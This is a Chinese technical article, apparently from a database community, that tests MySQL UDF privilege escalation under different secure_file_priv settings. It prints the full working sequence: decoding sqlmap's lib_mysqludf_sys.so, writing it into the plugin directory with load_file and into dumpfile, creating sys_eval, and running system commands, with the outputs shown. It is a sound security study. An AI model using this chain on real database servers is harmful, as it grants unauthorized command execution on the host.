|
对 MySQL UDF 提权做一次探究,什么情况下可以提权,提取的主机权限是否跟mysqld进程启动的主机账号有关
MySQL数据库版本:5.7.21
UDF:(User Defined Function) 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。
提权原理:攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下
(1)攻击者编写一些可以调用cmd或者shell的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。
(2)在MySQL中创建指向共享库文件的自定义函数。
(3)通过刚刚创建的函数执行系统命令,实现提权。
当mysql配置secure_file_priv项为空或者secure_file_priv项为plugin文件夹,且可以用弱口令登录数据库,存在udf提权漏洞。
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/
-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so
-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | /home/mysql/ |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#导出so文件到secure_file_priv
mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
#plugin_dir路径下有so文件了
#直接创建自定义函数
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | null |
+------------------+-------+
1 row in set (0.01 sec)
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.06 sec)
余下的几种secure_file_priv=dirname(secure_file_priv和plugin_dir路径不一致),secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致),secure_file_priv=null得出的结果是类似的,这里就不详细继续阐述了,全部写完可能篇数稍长。
合作电话:010-64087828
社区邮箱:greatsql@greatdb.com